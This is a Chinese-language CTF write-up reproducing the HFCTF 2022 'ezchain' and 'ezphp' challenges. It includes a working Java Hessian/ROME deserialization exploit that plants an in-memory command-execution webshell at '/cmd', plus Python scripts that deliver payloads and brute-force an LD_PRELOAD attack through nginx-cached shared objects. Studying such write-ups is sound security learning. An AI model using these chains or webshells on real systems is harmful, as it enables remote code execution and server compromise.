BUU 虎符杯(复现)

BUU 虎符杯(复现)

太菜了,直接坐大牢。赛后复现一波。

[HFCTF2022]ezchain

java反序列化,hessian反序列化,但是不出网。网上搜的都是出网的jdbc利用。所以得自己找个链子,写内存马。由于用了rome1.7依赖,利用点挺像rome1.0的。但是就是打不通(用的TemplatesImpl链)。进行本地debug。

try {
            List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
            Iterator var10 = propertyDescriptors.iterator();

            while(var10.hasNext()) {
                PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
                String propertyName = propertyDescriptor.getName();
                Method getter = propertyDescriptor.getReadMethod();
                Object value = getter.invoke(this.obj, NO_PARAMS);
                this.printProperty(sb, prefix + "." + propertyName, value);
            }
        } catch (Exception var9) {
            LOG.error("Error while generating toString", var9);
            Class<? extends Object> clazz = this.obj.getClass();
            String errorMessage = var9.getMessage();
            sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
        }

由于会调用TemplatesImpl的所有get方法,到getStylesheetDOM的时候,由于transient修饰的_sdom不能序列化,直接报了null的错误。然后比赛的时候就不会了。赛后看wp,需要用二次反序列化来触发。在java1.8里面有SignedObject可以触发,而且它有个getObject可以进行触发TemplatesImpl链的利用。其实不是很明白为啥二次反序列化可以触发。我的理解:在getObject:

public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }

触发这里的readObject。去到TemplatesImpl.readObject

private void  readObject(ObjectInputStream is)
      throws IOException, ClassNotFoundException
    {
        SecurityManager security = System.getSecurityManager();
        if (security != null){
            String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
            if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
                throw new UnsupportedOperationException(err.toString());
            }
        }

        // We have to read serialized fields first.
        ObjectInputStream.GetField gf = is.readFields();
        _name = (String)gf.get("_name", null);
        _bytecodes = (byte[][])gf.get("_bytecodes", null);
        _class = (Class[])gf.get("_class", null);
        _transletIndex = gf.get("_transletIndex", -1);

        _outputProperties = (Properties)gf.get("_outputProperties", null);
        _indentNumber = gf.get("_indentNumber", 0);

        if (is.readBoolean()) {
            _uriResolver = (URIResolver) is.readObject();
        }

        _tfactory = new TransformerFactoryImpl();
    }

最后这里给_tfactory进行了赋值,这个变量也是不能序列化的。然后我看wp说其实是因为_tfactory不能序列化,而不是_sdom。确实是_tfactory这里搞好就可以进行反序列化了。然后回到ToStringBean.toString的时候,只调用了getOutputProperties,比直接反序列化少了两个get方法没有调用,我也不是很懂为啥。到这里就可以直接加载恶意bytecodes了。然后我这里踩了不少坑。

坑一:啥类型的内存马?

源码直接用HttpHandler搭的服务器,我搜内存马都是些filter啥啥的内存马,这些不是tomcat就是spring有关,但是这里直接拿java1.8内置的HttpHandler搭的,似乎都不能用。我思来想去还是想办法拿context进行注入吧,然后看了wp是直接用java反射进行注入。本地debug找context。首先,web服务器一般都是多线程的,所以先从当前线程入手Thread.currentThread()


可以发现context的位置

Thread.currentThread().group.threads[1].target.this$0.context

这里不一定是threads[1],但是它的特点是,名字为Thread-2。然后可以用createContext进行路由创建,从而写入shell。

坑二:用ClassLoader创建shell

我直接用之前陇原战疫的ezjaba的payload来打,结果一直不成功。搞了半天,debug才发现问题所在:

 ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();

这里的classLoader直接为null,导致类无法导入。然后还在同学那里学到可以搞一手Thread.currentThread().getContextClassLoader()它返回的是AppClassLoader。但是没有defineClass的方法,所以好像ezjaba的方式行不通。

坑三:t.getRequestBody()怎么传?

用burpsuite搞了半天,不是url编码,就是base64,或者unicode、原始的字符通通行不通。这b玩意居然不会url解码,把我整不会了。最终,我同学说为啥不直接试试python传byte。md,真tm成了,离谱了,还是太年轻了。

最后

没办法了,直接不搞花里胡哨的操作了,硬搞反射进行注入。类似rome1.0的写法:

import com.caucho.hessian.io.Hessian2Input;
import org.apache.commons.io.FileUtils;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;

import javax.xml.transform.Templates;
import java.util.Base64;

public class Exp {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Exp.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Exp.setFieldValue(s, "table", tbl);
        return s;
    }

    public static void main(String[] args) throws Exception {
        String code = "{printName();}";
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(test.class.getName());
        clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
        clazz.makeClassInitializer().insertBefore(code);
        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
        File classFilePath = new File(new File(System.getProperty("user.dir"), ""), "test.class");
        FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", bytecodes);
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = makeMap(root,root);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);

        ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean root1 = new EqualsBean(ToStringBean.class, item);

        HashMap<Object, Object> hashmap1 = makeMap(root1,root1);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(hashmap1);
        hessian2Output.flushBuffer();

        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(new String(Base64.getEncoder().encode(bytes)));
//        InputStream in = new ByteArrayInputStream(bytes);
//        Hessian2Input input = new Hessian2Input(in);
//        input.readObject();

//        try {
//            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//            Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
//            System.out.println(hessian2Input.readObject());
//        } catch (Exception e) {
//            System.out.println(e);
//        }

    }
}

test.java源码:

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test implements HttpHandler{
    public static void printName() throws IllegalAccessException, NoSuchFieldException {
        //控制器的bytecode
        Object obj = Thread.currentThread();
        Field field = obj.getClass().getDeclaredField("group");
        field.setAccessible(true);
        obj = field.get(obj);//ThreadGroups
        field = obj.getClass().getDeclaredField("threads");
        field.setAccessible(true);
        obj = field.get(obj);//Thread[]
        Thread[] threads = (Thread[]) obj;
        for (Thread thread : threads) {
            if (thread.getName().contains("Thread-2")){
                try {
                    field = thread.getClass().getDeclaredField("target");
                    field.setAccessible(true);
                    obj = field.get(thread);//Serverimpl$Dispatch
                    field = obj.getClass().getDeclaredField("this$0");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    Method createContext = obj.getClass().getDeclaredMethod("createContext", String.class, HttpHandler.class);
                    createContext.setAccessible(true);
                    createContext.invoke(obj, "/cmd", new test());
                } catch (Exception e) {
                }
            }
        }
//        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
//        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
//        field.setAccessible(true);
//        ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
//        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
    }
    @Override
    public void handle(HttpExchange httpExchange) throws IOException {
        String query = httpExchange.getRequestURI().getQuery();
        Map<String, String> queryMap = this.queryToMap(query);
        String response = "Welcome to shell";
        if (queryMap != null) {
            String cmd = (String)queryMap.get("cmd");
            try {
//                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                response = o;
            }catch (Exception e){
            }
        }
        httpExchange.sendResponseHeaders(200, (long)response.length());
        OutputStream os = httpExchange.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }

    public Map<String, String> queryToMap(String query) {
        if (query == null) {
            return null;
        } else {
            Map<String, String> result = new HashMap();
            String[] var3 = query.split("&");
            int var4 = var3.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                String param = var3[var5];
                String[] entry = param.split("=");
                if (entry.length > 1) {
                    result.put(entry[0], entry[1]);
                } else {
                    result.put(entry[0], "");
                }
            }

            return result;
        }
    }
}

抄了一手ha1神的wp,经典用javassit生成字节码。然后来一手python传就好了:

import requests

url = "http://5283a489-9bc8-47be-9b28-558a8051d7ce.node4.buuoj.cn:81/?token=GeCTF2022"

with open("a.class", "rb") as f:
    content = f.read()

requests.post(url=url, data=content)

url = "http://5283a489-9bc8-47be-9b28-558a8051d7ce.node4.buuoj.cn:81/cmd?cmd=cat /flag"
text = requests.get(url).text
print(text)

a.class就是把上面exp生成的base64解码写到文件里面就行。然后token可以直接爆破出来(带佬同学说uuid比较好整,确实也能整出来),不懂学弟咋找到的GeCTF2022。其实也可以一直反射找到handler,然后替换就行。就在之前的context.list[0].handler这里就可以。还有一个rspConnection不是很懂。
然后预期解是命令盲注,逆大天,不搞了,java太jb的烦了。

ezphp

简单的源码

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

直接看一手p神的跳跳糖文章。https://tttang.com/archive/1450/
但是p神没有找到dash的利用方法,这道题是dash环境。然后看了半天,确实不会。赛后看wp,居然是用nginx的缓存搞得。之前的hxp的文件包含的最后一道题的预期解就是用到了nginx的缓存,之前没好好学导致的结果😥。
参考wp:https://www.wolai.com/4X2FgV1HkxcBYBRZT31T4F
先搞一个大so(1mb居然报请求体太大):


21mb的c代码编译出来才800kb左右,够用了。然后搞一手python爆破:

from time import sleep

import requests
import _thread

f=open("evil.so",'rb')
data=f.read()
url="http://4548ff3a-deee-4744-aa98-60f759c85348.node4.buuoj.cn:81/"

def upload():
    print("start upload")
    while True:
        requests.get(url+"index.php", data=data)

def preload(fd):
    while True:
        print("start ld_preload")
        for pid in range(10,20):
            file = f'/proc/{pid}/fd/{fd}'
            # print(url+f"index.php?env=LD_PRELOAD={file}")
            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
            while resp.status_code != 200:
                sleep(3)
                resp = requests.get(url + f"index.php?env=LD_PRELOAD={file}")
            # print(resp.text)
            if 'uid' in resp.text:
                print("finished")
                exit()

try:
    _thread.start_new_thread(upload, ())
    for fd in range(1, 20):
        _thread.start_new_thread(preload,(fd,))
except:
    print("error")

while True:
    pass

由于buu日常429,之前一直爆破不成功,后来想起得加一个while判断是否请求成功才行。速度还行,1分多钟就可以了

开摆!

剩下的题目没有源代码进行复现,就直接摆了,具体可看官方wp:
2022HFCTF-Writeup

评论

  1. ahh
    2 年前
    2022-5-17 21:41:04

    ezchain这题的jar包怎么搭本地调试环境啊

    • 博主
      ahh
      2 年前
      2022-5-26 19:35:16

      我用的idea,新建一个maven项目,把github上的题目代码下载好。jd-gui反编译jar包,复制一下pom.xml,然后把代码粘到idea,下断点就可以debug了。

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇